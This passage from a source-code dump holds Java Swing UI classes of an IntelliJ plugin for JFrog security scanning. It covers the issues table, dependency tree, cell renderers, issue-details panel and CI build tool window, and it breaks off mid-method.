 getSelectionModel().addListSelectionListener(selectionListener);\n    }\n\n    /**\n     * Sort rows by columns:\n     * 1. Severity - from high to low.\n     * 2. Component - direct before transitive issues.\n     */\n    private TableRowSorter<TableModel> createTableRowSorter(TableModel model, Set<String> selectedComponents) {\n        TableRowSorter<TableModel> sorter = new TableRowSorter<>(model);\n        sorter.setComparator(SEVERITY.ordinal(), Comparator.comparing(o -> ((Severity) o)));\n        sorter.setComparator(COMPONENT.ordinal(), Comparator\n                .comparing(s -> selectedComponents.contains(s.toString()) ? -1 : 0)\n                .thenComparing(s -> (String) s));\n        sorter.setSortKeys(SORT_KEYS);\n        sorter.sort();\n        return sorter;\n    }\n\n    private void resizeTableColumns() {\n        int tableWidth = getParent().getWidth();\n\n        TableColumn severityCol = getColumnModel().getColumn(SEVERITY.ordinal());\n        severityCol.setPreferredWidth(severityCol.getPreferredWidth() / 2);\n        tableWidth -= severityCol.getPreferredWidth();\n\n        TableColumn fixedVersionsCol = getColumnModel().getColumn(FIXED_VERSIONS.ordinal());\n        fixedVersionsCol.setPreferredWidth((fixedVersionsCol.getPreferredWidth() * 3));\n        tableWidth -= fixedVersionsCol.getPreferredWidth();\n\n        getColumnModel().getColumn(COMPONENT.ordinal()).setPreferredWidth(tableWidth);\n    }\n\n    public List<DependencyTree> getSelectedNodes() {\n        return selectedNodes;\n    }\n\n    /**\n     * Get the issue at the input row.\n     *\n     * @param row - The row number\n     * @return the issue of the input row.\n     */\n    Issue getIssueAt(int row) {\n        IssuesTableModel model = (IssuesTableModel) getModel();\n        return model.getIssueAt(convertRowIndexToModel(row));\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/ComponentsTree.java",
    "content": "package com.jfrog.ide.idea.ui;\n\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.ui.JBMenuItem;\nimport com.intellij.openapi.ui.JBPopupMenu;\nimport com.intellij.openapi.vfs.VirtualFile;\nimport com.intellij.psi.PsiInvalidElementAccessException;\nimport com.intellij.ui.components.JBMenu;\nimport com.intellij.ui.treeStructure.Tree;\nimport com.jfrog.ide.idea.exclusion.Excludable;\nimport com.jfrog.ide.idea.exclusion.ExclusionUtils;\nimport com.jfrog.ide.idea.log.Logger;\nimport com.jfrog.ide.idea.navigation.NavigationTarget;\nimport com.jfrog.ide.idea.ui.menus.ToolbarPopupMenu;\nimport org.jetbrains.annotations.NotNull;\nimport org.jfrog.build.extractor.scan.DependencyTree;\n\nimport javax.swing.*;\nimport javax.swing.tree.TreeModel;\nimport java.awt.event.ActionEvent;\nimport java.nio.file.InvalidPathException;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Set;\n\n/**\n * @author yahavi\n */\npublic abstract class ComponentsTree extends Tree {\n    protected Project project;\n    protected final List<ToolbarPopupMenu> toolbarPopupMenus = new ArrayList<>();\n    protected final JBPopupMenu popupMenu = new JBPopupMenu();\n    private static final String EXCLUDE_DEPENDENCY = \"Exclude dependency\";\n\n    public ComponentsTree(@NotNull Project project) {\n        super((TreeModel) null);\n        this.project = project;\n        expandRow(0);\n        setRootVisible(false);\n    }\n\n    protected void reset() {\n        setModel(null);\n    }\n\n    public void addFilterMenu(ToolbarPopupMenu filterMenu) {\n        this.toolbarPopupMenus.add(filterMenu);\n    }\n\n    private String getRelativizedDescriptorPath(NavigationTarget navigationTarget) {\n        String pathResult = \"\";\n        try {\n            VirtualFile descriptorVirtualFile = navigationTarget.getElement().getContainingFile().getVirtualFile();\n            pathResult = descriptorVirtualFile.getName();\n            String projBasePath = project.getBasePath();\n            if (projBasePath == null) {\n                return pathResult;\n            }\n            Path basePath = Paths.get(project.getBasePath());\n            Path descriptorPath = Paths.get(descriptorVirtualFile.getPath());\n            pathResult = basePath.relativize(descriptorPath).toString();\n        } catch (InvalidPathException | PsiInvalidElementAccessException ex) {\n            Logger log = Logger.getInstance();\n            log.error(\"Failed getting project-descriptor's path.\", ex);\n        }\n        return pathResult;\n    }\n\n    @SuppressWarnings(\"unused\")\n    private void addNodeExclusion(DependencyTree nodeToExclude, Set<NavigationTarget> parentCandidates, DependencyTree affectedNode) {\n        if (parentCandidates.size() > 1) {\n            addMultiExclusion(nodeToExclude, affectedNode, parentCandidates);\n        } else {\n            addSingleExclusion(nodeToExclude, affectedNode, parentCandidates.iterator().next());\n        }\n    }\n\n    private void addMultiExclusion(DependencyTree nodeToExclude, DependencyTree affectedNode, Set<NavigationTarget> parentCandidates) {\n        if (!ExclusionUtils.isExcludable(nodeToExclude, affectedNode)) {\n            return;\n        }\n        JMenu multiMenu = new JBMenu();\n        multiMenu.setText(EXCLUDE_DEPENDENCY);\n        for (NavigationTarget parentCandidate : parentCandidates) {\n            Excludable excludable = ExclusionUtils.getExcludable(nodeToExclude, affectedNode, parentCandidate);\n            if (excludable == null) {\n                continue;\n            }\n            String descriptorPath = getRelativizedDescriptorPath(parentCandidate);\n            multiMenu.add(createExcludeMenuItem(excludable, descriptorPath + \" \" + (parentCandidate.getLineNumber() + 1)));\n        }\n        if (multiMenu.getItemCount() > 0) {\n            popupMenu.add(multiMenu);\n        }\n    }\n\n    private void addSingleExclusion(DependencyTree nodeToExclude, DependencyTree affectedNode, NavigationTarget parentCandidate) {\n        Excludable excludable = ExclusionUtils.getExcludable(nodeToExclude, affectedNode, parentCandidate);\n        if (excludable == null) {\n            return;\n        }\n        popupMenu.add(createExcludeMenuItem(excludable, EXCLUDE_DEPENDENCY));\n    }\n\n    private JBMenuItem createExcludeMenuItem(Excludable excludable, String headLine) {\n        return new JBMenuItem(new AbstractAction(headLine) {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                excludable.exclude(project);\n            }\n        });\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/ComponentsTreeCellRenderer.java",
    "content": "package com.jfrog.ide.idea.ui;\n\nimport com.intellij.openapi.editor.markup.TextAttributes;\nimport com.intellij.ui.HighlightableCellRenderer;\nimport com.intellij.util.ui.JBFont;\nimport com.intellij.util.ui.UIUtil;\nimport com.jfrog.ide.common.nodes.FileTreeNode;\nimport com.jfrog.ide.common.nodes.SubtitledTreeNode;\nimport com.jfrog.ide.idea.ui.utils.IconUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.jetbrains.annotations.NotNull;\n\nimport javax.swing.*;\nimport java.awt.*;\n\n/**\n * Created by Yahav Itzhak on 22 Nov 2017.\n */\npublic class ComponentsTreeCellRenderer extends HighlightableCellRenderer {\n\n    private static final TextAttributes titleStyle = new TextAttributes();\n    private static final TextAttributes subtitleStyle = new TextAttributes();\n\n    static {\n        titleStyle.setFontType(JBFont.BOLD);\n        subtitleStyle.setForegroundColor(UIUtil.getInactiveTextColor());\n    }\n\n    @Override\n    public @NotNull Component getTreeCellRendererComponent(@NotNull JTree tree, Object value, boolean sel, boolean expanded, boolean leaf, int row, boolean hasFocus) {\n        HighlightableCellRenderer cellRenderer = (HighlightableCellRenderer) super.getTreeCellRendererComponent(tree, value, sel, expanded, leaf, row, hasFocus);\n        if (!(value instanceof SubtitledTreeNode)) {\n            return this;\n        }\n\n        SubtitledTreeNode scanTreeNode = (SubtitledTreeNode) value;\n        if (scanTreeNode.getIcon() != null) {\n            cellRenderer.setIcon(IconUtils.load(StringUtils.lowerCase(scanTreeNode.getIcon())));\n        }\n\n        String text = scanTreeNode.getTitle();\n        int subtitleLength = 0;\n        if (scanTreeNode.getSubtitle() != null && !scanTreeNode.getSubtitle().isEmpty()) {\n            subtitleLength = scanTreeNode.getSubtitle().length();\n            text += \" \" + scanTreeNode.getSubtitle();\n        }\n        setText(text);\n\n        if (scanTreeNode instanceof FileTreeNode) {\n            // Set title style\n            cellRenderer.addHighlighter(0, scanTreeNode.getTitle().length(), titleStyle);\n        }\n\n        if (subtitleLength > 0) {\n            // Set subtitle style\n            cellRenderer.addHighlighter(text.length() - subtitleLength, text.length(), subtitleStyle);\n        }\n\n        return cellRenderer;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/ExpiredComponentsTreeCellRenderer.java",
    "content": "package com.jfrog.ide.idea.ui;\n\nimport com.intellij.ui.HighlightableCellRenderer;\nimport com.intellij.util.ui.UIUtil;\nimport org.jetbrains.annotations.NotNull;\n\nimport javax.swing.*;\nimport java.awt.*;\n\npublic class ExpiredComponentsTreeCellRenderer extends ComponentsTreeCellRenderer {\n\n    @Override\n    public @NotNull Component getTreeCellRendererComponent(@NotNull JTree tree, Object value, boolean sel, boolean expanded, boolean leaf, int row, boolean hasFocus) {\n        HighlightableCellRenderer cellRenderer = (HighlightableCellRenderer) super.getTreeCellRendererComponent(tree, value, sel, expanded, leaf, row, hasFocus);\n        cellRenderer.setForeground(UIUtil.isUnderDarcula() ? UIUtil.getHeaderInactiveColor() : UIUtil.getInactiveTextColor());\n        return cellRenderer;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/IssueDetails.java",
    "content": "package com.jfrog.ide.idea.ui;\n\nimport com.jfrog.ide.idea.ui.components.ImpactPathPane;\nimport com.jfrog.ide.idea.ui.components.ReferencesPane;\nimport org.apache.commons.collections4.CollectionUtils;\nimport org.jfrog.build.extractor.scan.Cve;\nimport org.jfrog.build.extractor.scan.DependencyTree;\nimport org.jfrog.build.extractor.scan.Issue;\nimport org.jfrog.build.extractor.scan.Severity;\n\nimport java.util.List;\nimport java.util.stream.Collectors;\n\n/**\n * @author yahavi\n **/\npublic class IssueDetails extends MoreInfoPanel {\n    public IssueDetails(Issue issue, DependencyTree impactedNode) {\n        super();\n        addText(\"Severity\", issue.getSeverity().getSeverityName());\n        addText(\"CVEs\", getCves(issue));\n        addText(\"Summary\", issue.getSummary());\n        addReferences(issue.getReferences());\n        addImpactPath(impactedNode, issue.getSeverity());\n    }\n\n    /**\n     * Create the CVEs string seperated by \",\".\n     *\n     * @param issue - The issue containing the CVEs.\n     * @return the CVEs string.\n     */\n    private String getCves(Issue issue) {\n        List<Cve> cves = issue.getCves();\n        if (CollectionUtils.isEmpty(cves)) {\n            return \"\";\n        }\n        return cves.stream().map(Cve::getCveId).collect(Collectors.joining(\" ,\"));\n    }\n\n    /**\n     * Add references to the Issue Details panel.\n     *\n     * @param list - The references list\n     */\n    private void addReferences(List<String> list) {\n        if (CollectionUtils.isEmpty(list)) {\n            return;\n        }\n        addComponent(\"References\", new ReferencesPane(list));\n    }\n\n    /**\n     * Add impact path graph to the Issue Details panel.\n     *\n     * @param impactedNode - The impacted node\n     * @param severity     - Issue severity\n     */\n    private void addImpactPath(DependencyTree impactedNode, Severity severity) {\n        addComponent(\"Impact path\", new ImpactPathPane(impactedNode, severity));\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/IssuesTableCellRenderer.java",
    "content": "package com.jfrog.ide.idea.ui;\n\nimport com.jfrog.ide.idea.ui.utils.IconUtils;\n\nimport javax.swing.*;\nimport javax.swing.table.DefaultTableCellRenderer;\nimport java.awt.*;\nimport java.util.Set;\n\n/**\n * Created by Yahav Itzhak on 13 Nov 2017.\n */\npublic class IssuesTableCellRenderer extends DefaultTableCellRenderer {\n\n    @Override\n    public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {\n        DefaultTableCellRenderer cellRenderer = (DefaultTableCellRenderer) super.getTableCellRendererComponent(table, value, isSelected, hasFocus, row, column);\n\n        // Severity column.\n        if (column == IssuesTableModel.IssueColumn.SEVERITY.ordinal()) {\n            editSeverityColumn(cellRenderer, value);\n        } else {\n            cellRenderer.setIcon(null);\n            cellRenderer.setHorizontalAlignment(JLabel.LEADING);\n        }\n\n        // Bold cell if current issue is direct.\n        boldIfDirectIssue(cellRenderer, table, row);\n\n        return cellRenderer;\n    }\n\n    /**\n     * Severity column should present only the severity icon.\n     */\n    private static void editSeverityColumn(DefaultTableCellRenderer cellRenderer, Object value) {\n        cellRenderer.setIcon(IconUtils.load(value.toString()));\n        cellRenderer.setOpaque(true);\n        cellRenderer.setToolTipText(\"Top issue severity: \" + value + \". Click to display more details.\");\n        cellRenderer.setText(\"\");\n        cellRenderer.setHorizontalAlignment(JLabel.CENTER);\n    }\n\n    private static void boldIfDirectIssue(DefaultTableCellRenderer cellRenderer, JTable table, int row) {\n        // As row order may change due to sorting, get actual row index.\n        int actualRow = table.getRowSorter().convertRowIndexToModel(row);\n\n        Set<String> components = ((IssuesTableModel) table.getModel()).getComponents();\n        String currentComponent = (String) table.getModel().getValueAt(actualRow, IssuesTableModel.IssueColumn.COMPONENT.ordinal());\n        if (components.contains(currentComponent)) {\n            Font bold = cellRenderer.getFont().deriveFont(Font.BOLD);\n            cellRenderer.setFont(bold);\n        }\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/IssuesTableModel.java",
    "content": "package com.jfrog.ide.idea.ui;\n\nimport com.google.common.collect.Sets;\nimport org.apache.commons.lang3.StringUtils;\nimport org.jetbrains.annotations.NotNull;\nimport org.jfrog.build.extractor.scan.Issue;\n\nimport javax.swing.table.AbstractTableModel;\nimport java.util.Collections;\nimport java.util.List;\nimport java.util.Set;\nimport java.util.stream.Collectors;\n\n/**\n * Created by Yahav Itzhak on 13 Nov 2017.\n */\npublic class IssuesTableModel extends AbstractTableModel {\n\n    private final Set<Issue> issues;\n    private final Set<String> components;\n\n    IssuesTableModel() {\n        this(Sets.newHashSet(), Sets.newHashSet());\n    }\n\n    IssuesTableModel(@NotNull Set<Issue> issues, @NotNull Set<String> components) {\n        this.issues = issues.stream()\n                .filter(issue -> StringUtils.isNotBlank(issue.getSummary()))\n                .collect(Collectors.toSet());\n        this.components = components;\n    }\n\n    public enum IssueColumn {\n        SEVERITY(\"Severity\"),\n        COMPONENT(\"Impacted Component\"),\n        FIXED_VERSIONS(\"Fixed Versions\");\n\n        private final String name;\n\n        IssueColumn(String name) {\n            this.name = name;\n        }\n\n        public String getName() {\n            return this.name;\n        }\n    }\n\n    public Set<String> getComponents() {\n        return this.components;\n    }\n\n    @Override\n    public int getColumnCount() {\n        return IssueColumn.values().length;\n    }\n\n    @Override\n    public int getRowCount() {\n        return issues.size();\n    }\n\n    @Override\n    public String getColumnName(int col) {\n        if (col == IssueColumn.SEVERITY.ordinal()) {\n            return \"\";\n        }\n        return IssueColumn.values()[col].getName();\n    }\n\n    @Override\n    public Object getValueAt(int row, int col) {\n        IssueColumn issueColumn = IssueColumn.valueOf(IssueColumn.values()[col].toString());\n        Issue issue = getIssueAt(row);\n        switch (issueColumn) {\n            case SEVERITY:\n                return issue.getSeverity();\n            case COMPONENT:\n                return issue.getComponent();\n            case FIXED_VERSIONS:\n                List<String> fixedVersions = issue.getFixedVersions() == null ? Collections.emptyList() : issue.getFixedVersions();\n                return StringUtils.defaultIfEmpty(String.join(\", \", fixedVersions), \"[]\");\n        }\n        return \"N/A\";\n    }\n\n    /**\n     * Get the issue at the input row.\n     *\n     * @param row - The row number\n     * @return the issue of the input row.\n     */\n    Issue getIssueAt(int row) {\n        return (Issue) issues.toArray()[row];\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/IssuesTableSelectionListener.java",
    "content": "package com.jfrog.ide.idea.ui;\n\nimport com.intellij.openapi.ui.JBPopupMenu;\nimport com.jfrog.ide.idea.actions.CreateIgnoreRuleAction;\nimport org.jfrog.build.extractor.scan.DependencyTree;\nimport org.jfrog.build.extractor.scan.Issue;\n\nimport javax.swing.*;\nimport javax.swing.event.ListSelectionEvent;\nimport javax.swing.event.ListSelectionListener;\nimport java.awt.*;\nimport java.awt.event.MouseAdapter;\nimport java.awt.event.MouseEvent;\nimport java.util.Objects;\n\nimport static com.jfrog.ide.idea.ui.IssuesTableModel.IssueColumn.COMPONENT;\nimport static com.jfrog.ide.idea.ui.utils.ComponentUtils.replaceAndUpdateUI;\n\n/**\n * Represents a click on the issues table.\n *\n * @author yahavi\n **/\nclass IssuesTableSelectionListener extends MouseAdapter implements ListSelectionListener {\n    private final ComponentIssuesTable issuesTable;\n    private final JPanel detailsPanel;\n\n    IssuesTableSelectionListener(JPanel detailsPanel, ComponentIssuesTable issuesTable) {\n        this.detailsPanel = detailsPanel;\n        this.issuesTable = issuesTable;\n    }\n\n    /**\n     * Show the \"Create Ignore Rule\" button after right-click on a violation.\n     *\n     * @param e - The mouse event\n     */\n    @Override\n    public void mousePressed(MouseEvent e) {\n        if (!SwingUtilities.isRightMouseButton(e)) {\n            return;\n        }\n        int selectedRow = getSelectedRow(e);\n        if (selectedRow == -1) {\n            return;\n        }\n\n        DependencyTree impactedNode = getImpactedNode(selectedRow);\n        if (impactedNode == null) {\n            return;\n        }\n        Issue selectedIssue = issuesTable.getIssueAt(selectedRow);\n        doRightClickButtonEvent(e, selectedIssue);\n    }\n\n    /**\n     * Display the issue details view after selecting it by mouse or by keyboard.\n     *\n     * @param e - The selection event\n     */\n    @Override\n    public void valueChanged(ListSelectionEvent e) {\n        if (e.getValueIsAdjusting()) {\n            return;\n        }\n        int selectedRow = ((ListSelectionModel) e.getSource()).getMinSelectionIndex();\n        if (selectedRow == -1) {\n            return;\n        }\n        DependencyTree impactedNode = getImpactedNode(selectedRow);\n        if (impactedNode == null) {\n            return;\n        }\n        Issue selectedIssue = issuesTable.getIssueAt(selectedRow);\n        replaceAndUpdateUI(detailsPanel, new IssueDetails(selectedIssue, impactedNode), BorderLayout.NORTH);\n    }\n\n    /**\n     * Get the selected row in the table or -1 if no row selected.\n     *\n     * @param event - The mouse click event\n     * @return the selected row or -1.\n     */\n    private int getSelectedRow(MouseEvent event) {\n        int row = issuesTable.rowAtPoint(event.getPoint());\n        if (row < 0 || row >= issuesTable.getRowCount()) {\n            return -1;\n        }\n        return row;\n    }\n\n    /**\n     * Get a node that contains the selected issue.\n     * This method iterates over all subtree of the selected nodes in the dependency tree.\n     *\n     * @return a node that contains the selected issue.\n     */\n    private DependencyTree getImpactedNode(int selectedRow) {\n        String selectedComponent = (String) issuesTable.getValueAt(selectedRow, COMPONENT.ordinal());\n        return issuesTable.getSelectedNodes().stream()\n                .map(node -> node.find(selectedComponent))\n                .filter(Objects::nonNull)\n                .findAny()\n                .orElse(null);\n    }\n\n    /**\n     * Display right click menu after a right click on an issue.\n     *\n     * @param mouseEvent    - The mouse event\n     * @param selectedIssue - The selected issue\n     */\n    private void doRightClickButtonEvent(MouseEvent mouseEvent, Issue selectedIssue) {\n        JPopupMenu popupMenu = new JBPopupMenu();\n        popupMenu.setFocusable(false);\n        popupMenu.add(new CreateIgnoreRuleAction(selectedIssue.getIgnoreRuleUrl(), mouseEvent));\n        JBPopupMenu.showByEvent(mouseEvent, popupMenu);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/JFrogCiToolWindow.java",
    "content": "package com.jfrog.ide.idea.ui;\n\nimport com.google.common.collect.Lists;\nimport com.intellij.icons.AllIcons;\nimport com.intellij.openapi.actionSystem.ActionManager;\nimport com.intellij.openapi.actionSystem.DefaultActionGroup;\nimport com.intellij.openapi.application.ApplicationManager;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.ui.OnePixelSplitter;\nimport com.intellij.ui.ScrollPaneFactory;\nimport com.intellij.ui.SideBorder;\nimport com.intellij.ui.TreeSpeedSearch;\nimport com.intellij.ui.components.JBLabel;\nimport com.intellij.ui.components.JBPanel;\nimport com.intellij.util.ui.UIUtil;\nimport com.jfrog.ide.common.ci.BuildGeneralInfo;\nimport com.jfrog.ide.idea.actions.CollapseAllAction;\nimport com.jfrog.ide.idea.actions.ExpandAllAction;\nimport com.jfrog.ide.idea.configuration.GlobalSettings;\nimport com.jfrog.ide.idea.events.ApplicationEvents;\nimport com.jfrog.ide.idea.events.BuildEvents;\nimport com.jfrog.ide.idea.ui.components.LinkButton;\nimport com.jfrog.ide.idea.ui.components.TitledPane;\nimport com.jfrog.ide.idea.ui.menus.builds.BuildsMenu;\nimport com.jfrog.ide.idea.ui.menus.filtermanager.CiFilterManager;\nimport com.jfrog.ide.idea.ui.menus.filtermenu.*;\nimport com.jfrog.ide.idea.ui.utils.ComponentUtils;\nimport org.jetbrains.annotations.NotNull;\nimport org.jfrog.build.api.Vcs;\nimport org.jfrog.build.extractor.scan.DependencyTree;\nimport org.jfrog.build.extractor.scan.Issue;\n\nimport javax.swing.*;\nimport javax.swing.tree.TreePath;\nimport java.awt.*;\nimport java.text.SimpleDateFormat;\nimport java.util.Arrays;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Set;\nimport java.util.stream.Collectors;\n\nimport static com.jfrog.ide.idea.ui.JFrogToolWindow.*;\nimport static com.jfrog.ide.idea.ui.utils.ComponentUtils.createDisabledTextLabel;\nimport static com.jfrog.ide.idea.ui.utils.ComponentUtils.createNoBuildsView;\nimport static org.apache.commons.lang3.StringUtils.isAnyBlank;\nimport static org.apache.commons.lang3.StringUtils.isBlank;\n\n/**\n * @author yahavi\n **/\npublic class JFrogCiToolWindow extends AbstractJFrogToolWindow {\n    private static final SimpleDateFormat DATE_FORMAT = new SimpleDateFormat(\"dd MMM yyyy HH:mm:ss\");\n    private static final String SELECT_COMPONENT_TEXT = \"Select component or issue for more details.\";\n    private LinkButton linkButton;\n    private JLabel buildStarted;\n    private JLabel buildStatus;\n    private LinkButton seeMore;\n    private JLabel branch;\n    private JLabel commit;\n    private final OnePixelSplitter rightVerticalSplit;\n    final CiComponentsTree componentsTree;\n    ComponentIssuesTable issuesTable;\n    JScrollPane issuesDetailsScroll;\n    JPanel moreInfoPanel;\n\n    public JFrogCiToolWindow(@NotNull Project project, boolean buildsConfigured) {\n        super(project);\n        this.componentsTree = CiComponentsTree.getInstance(project);\n        JPanel toolbar = createActionToolbar();\n\n        JComponent issuesPanel = createComponentsIssueDetailView();\n\n        OnePixelSplitter leftVerticalSplit = new OnePixelSplitter(false, 0.5f);\n        leftVerticalSplit.setFirstComponent(createComponentsTreeView());\n        leftVerticalSplit.setSecondComponent(issuesPanel);\n\n        rightVerticalSplit = new OnePixelSplitter(false, 0.6f);\n        rightVerticalSplit.setVisible(false);\n        rightVerticalSplit.setFirstComponent(leftVerticalSplit);\n        rightVerticalSplit.setSecondComponent(createMoreInfoView(buildsConfigured));\n\n        setToolbar(toolbar);\n        setContent(rightVerticalSplit);\n        registerListeners();\n    }\n\n    private String getComponentsTreeTitle() {\n        return \" Build Components (Issues #)\";\n    }\n\n    /**\n     * Create CI issues filter menu\n     *\n     * @return issues filter menu\n     */\n    IssueFilterMenu createIssueFilterMenu() {\n        return new CiIssueFilterMenu(project);\n    }\n\n    /**\n     * Create CI licenses filter menu\n     *\n     * @return licenses filter menu\n     */\n    LicenseFilterMenu createLicenseFilterMenu() {\n        return new CiLicenseFilterMenu(project);\n    }\n\n    /**\n     * Create CI scopes filter menu\n     *\n     * @return scopes filter menu\n     */\n    ScopeFilterMenu createScopeFilterMenu() {\n        return new CiScopeFilterMenu(project);\n    }\n\n    /**\n     * Create the more info view. That is the right panel.\n     *\n     * @param supported - True if the current opened project is supported by the plugin.\n     *                  If now, show the \"Unsupported project type\" message.\n     * @return the more info view\n     */\n    @SuppressWarnings(\"DialogTitleCapitalization\")\n    JComponent createMoreInfoView(boolean supported) {\n        if (!GlobalSettings.getInstance().areArtifactoryCredentialsSet()) {\n            return ComponentUtils.createNoCredentialsView();\n        }\n        JLabel title = new JBLabel(\" More Info\");\n        title.setFont(title.getFont().deriveFont(TITLE_FONT_SIZE));\n\n        moreInfoPanel = new JBPanel<>(new BorderLayout()).withBackground(UIUtil.getTableBackground());\n        moreInfoPanel.add(supported ? createDisabledTextLabel(SELECT_COMPONENT_TEXT) : createNoBuildsView(), BorderLayout.CENTER);\n        issuesDetailsScroll = ScrollPaneFactory.createScrollPane(moreInfoPanel, ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS, ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER);\n        return new TitledPane(JSplitPane.VERTICAL_SPLIT, TITLE_LABEL_SIZE, title, issuesDetailsScroll);\n    }\n\n    @Override\n    public JPanel createActionToolbar() {\n        DefaultActionGroup actionGroup = new DefaultActionGroup(ActionManager.getInstance().getAction(\"JFrog.RefreshBuilds\"));\n        JPanel toolbarPanel = createJFrogToolbar(actionGroup);\n\n        // Add builds selector\n        BuildsMenu buildsMenu = new BuildsMenu(project);\n        componentsTree.setBuildsMenu(buildsMenu);\n        toolbarPanel.add(buildsMenu.getBuildButton());\n\n        // Create parent toolbar containing the builds and the component tree toolbars\n        JPanel parentToolbarPanel = new JBPanel<>(new GridLayout(2, 0));\n        toolbarPanel.add(createBuildStatusPanel());\n        parentToolbarPanel.add(ScrollPaneFactory.createScrollPane(toolbarPanel));\n        parentToolbarPanel.add(createComponentsTreePanel());\n\n        return parentToolbarPanel;\n    }\n\n    private JPanel createComponentsTreePanel() {\n        DefaultActionGroup actionGroup = new DefaultActionGroup(new CollapseAllAction(componentsTree), new ExpandAllAction(componentsTree));\n\n        JPanel toolbarPanel = createJFrogToolbar(actionGroup);\n        // Add issues filter\n        IssueFilterMenu issueFilterMenu = createIssueFilterMenu();\n        componentsTree.addFilterMenu(issueFilterMenu);\n        toolbarPanel.add(issueFilterMenu.getFilterButton());\n\n        // Add licenses filter\n        LicenseFilterMenu licenseFilterMenu = createLicenseFilterMenu();\n        componentsTree.addFilterMenu(licenseFilterMenu);\n        toolbarPanel.add(licenseFilterMenu.getFilterButton());\n\n        // Add scopes filter\n        ScopeFilterMenu scopeFilterMenu = createScopeFilterMenu();\n        componentsTree.addFilterMenu(scopeFilterMenu);\n        toolbarPanel.add(scopeFilterMenu.getFilterButton());\n\n        return toolbarPanel;\n    }\n\n    /**\n     * Get issues to display in the issues table.\n     *\n     * @param selectedNodes - The selected nodes in the components tree\n     * @return issues to display in the issues table\n     */\n    private Set<Issue> getIssuesToDisplay(List<DependencyTree> selectedNodes) {\n        return CiFilterManager.getInstance(project).getFilteredScanIssues(selectedNodes);\n    }\n\n    public void registerListeners() {\n        // Xray credentials were set listener\n        appBusConnection.subscribe(ApplicationEvents.ON_CONFIGURATION_DETAILS_CHANGE, (ApplicationEvents) () ->\n                ApplicationManager.getApplication().invokeLater(this::onConfigurationChange));\n\n        // Component selection listener\n        componentsTree.addTreeSelectionListener(e -> {\n            updateIssuesTable();\n            if (e == null || e.getNewLeadSelectionPath() == null) {\n                return;\n            }\n            ComponentIssueDetails.createIssuesDetailsView(moreInfoPanel, (DependencyTree) e.getNewLeadSelectionPath().getLastPathComponent());\n            // Scroll back to the beginning of the scrollable panel\n            ApplicationManager.getApplication().invokeLater(() -> issuesDetailsScroll.getViewport().setViewPosition(new Point()));\n        });\n\n        issuesTable.addTableSelectionListener(moreInfoPanel);\n        componentsTree.addOnProjectChangeListener(projectBusConnection);\n        projectBusConnection.subscribe(ApplicationEvents.ON_CI_FILTER_CHANGE, (ApplicationEvents) () -> ApplicationManager.getApplication().invokeLater(() -> {\n            CiComponentsTree.getInstance(project).applyFiltersForAllProjects();\n            updateIssuesTable();\n        }));\n        projectBusConnection.subscribe(ApplicationEvents.ON_SCAN_CI_STARTED, (ApplicationEvents) () -> ApplicationManager.getApplication().invokeLater(this::resetViews));\n        projectBusConnection.subscribe(BuildEvents.ON_SELECTED_BUILD, (BuildEvents) this::setBuildDetails);\n        projectBusConnection.subscribe(ApplicationEvents.ON_BUILDS_CONFIGURATION_CHANGE, (ApplicationEvents) () -> ApplicationManager.getApplication().invokeLater(this::onConfigurationChange));\n    }\n\n    /**\n     * Create the top panel with the build information.\n     *\n     * @return the build status panel\n     */\n    private JPanel createBuildStatusPanel() {\n        JPanel buildStatusPanel = new JBPanel<>(new FlowLayout(FlowLayout.LEFT, 20, 0));\n\n        buildStatus = createAndAddLabelWithTooltip(\"Build status\", buildStatusPanel);\n        buildStarted = createAndAddLabelWithTooltip(\"Build timestamp\", buildStatusPanel);\n        branch = createAndAddLabelWithTooltip(\"Build branch\", buildStatusPanel);\n        commit = createAndAddLabelWithTooltip(\"The commit message that triggered the build\", buildStatusPanel);\n        linkButton = new LinkButton(\"Click to view the build log\");\n        seeMore = new LinkButton(\"See more in this view\");\n        buildStatusPanel.add(linkButton);\n        buildStatusPanel.add(seeMore);\n\n        return buildStatusPanel;\n    }\n\n    /**\n     * Set the build details in the build details toolbar\n     *\n     * @param buildGeneralInfo - The build general info from Artifactory\n     */\n    private void setBuildDetails(BuildGeneralInfo buildGeneralInfo) {\n        setBuildStarted(buildGeneralInfo);\n        setBuildStatus(buildGeneralInfo);\n        setSeeMore(buildGeneralInfo);\n        setVcsInformation(buildGeneralInfo);\n        setBuildLogLink(buildGeneralInfo);\n    }\n\n    private void setBuildStarted(BuildGeneralInfo buildGeneralInfo) {\n        Date started = buildGeneralInfo != null ? buildGeneralInfo.getStarted() : null;\n        setTextAndIcon(buildStarted, started != null ? DATE_FORMAT.format(started) : \"\", AllIcons.Actions.Profile);\n    }\n\n    private void setBuildStatus(BuildGeneralInfo buildGeneralInfo) {\n        if (buildGeneralInfo == null) {\n            setTextAndIcon(buildStatus, \"\", null);\n            return;\n        }\n        switch (buildGeneralInfo.getStatus()) {\n            case PASSED -> setTextAndIcon(buildStatus, \"Status: Success\", AllIcons.RunConfigurations.TestPassed);\n            case FAILED -> setTextAndIcon(buildStatus, \"Status: Failed\", AllIcons.RunConfigurations.TestFailed);\n            default -> setTextAndIcon(buildStatus, \"Status: Unknown\", AllIcons.RunConfigurations.TestUnknown);\n        }\n    }\n\n    private void setSeeMore(BuildGeneralInfo buildGeneralInfo) {\n        Vcs vcs = buildGeneralInfo != null ? buildGeneralInfo.getVcs() : null;\n        if (vcs == null || 